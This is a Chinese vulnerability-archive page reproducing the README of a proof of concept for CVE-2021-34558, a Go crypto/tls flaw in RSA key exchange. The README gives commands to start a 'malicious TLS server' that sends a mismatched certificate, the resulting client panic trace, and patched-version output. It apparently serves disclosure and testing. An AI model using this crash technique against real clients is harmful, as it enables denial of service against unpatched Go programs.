目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2021-34558 PoC — Google Golang 信任管理问题漏洞

来源
关联漏洞
标题: Google Golang 信任管理问题漏洞 (CVE-2021-34558)
Description:Google Golang是美国谷歌(Google)公司的一种静态强类型、编译型语言。Go的语法接近C语言,但对于变量的声明有所不同。Go支持垃圾回收功能。Go的并行模型是以东尼·霍尔的通信顺序进程(CSP)为基础,采取类似模型的其他语言包括Occam和Limbo,但它也具有Pi运算的特征,比如通道传输。在1.8版本中开放插件(Plugin)的支持,这意味着现在能从Go中动态加载部分函数。 Golang through 1.16.5 存在信任管理问题漏洞,该漏洞源于在进行基于 RSA 的密钥交换时,cry
介绍
# POC for CVE-2021-34558

```bash
# Run the malicious TLS server
go run main.go -mode server 

# Run a normal `http.Get` client call against the server which panics
go run main.go -mode client
```

There is a minor modification to `./vendor/github.com/refraction-networking/utls/handshake_server.go` to enable the malicious handshake to be sent with a mismatching certificate/cipher.

It looks like this:

    $ go run main.go -mode client

    panic: interface conversion: interface {} is *ecdsa.PublicKey, not *rsa.PublicKey

    goroutine 7 [running]:
    crypto/tls.rsaKeyAgreement.generateClientKeyExchange(0xc000001c80, 0xc00014a000, 0xc000130580, 0x0, 0x0, 0x4, 0x6e9da0, 0x7fe73e42e201, 0xc00001c758)
            /usr/local/go/src/crypto/tls/key_agreement.go:70 +0x3a6
    crypto/tls.(*clientHandshakeState).doFullHandshake(0xc00015fd48, 0xc00001a380, 0x31)
            /usr/local/go/src/crypto/tls/handshake_client.go:574 +0x5e9
    crypto/tls.(*clientHandshakeState).handshake(0xc00015fd48, 0xc00001c418, 0x4)
            /usr/local/go/src/crypto/tls/handshake_client.go:421 +0x566
    crypto/tls.(*Conn).clientHandshake(0xc00007f180, 0x0, 0x0)
            /usr/local/go/src/crypto/tls/handshake_client.go:220 +0x754
    crypto/tls.(*Conn).Handshake(0xc00007f180, 0x0, 0x0)
            /usr/local/go/src/crypto/tls/conn.go:1391 +0xc9
    net/http.(*persistConn).addTLS.func2(0x0, 0xc00007f180, 0x0, 0xc0000624e0)
            /usr/local/go/src/net/http/transport.go:1530 +0x45
    created by net/http.(*persistConn).addTLS
            /usr/local/go/src/net/http/transport.go:1526 +0x1f6
    exit status 2

A patched version of Go (1.16.6+) does not crash:

    $ go run main.go -mode client
    2021/07/13 06:13:50 <nil> Get "https://127.0.0.1:8443/": tls: server certificate contains incorrect key type for selected ciphersuite
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →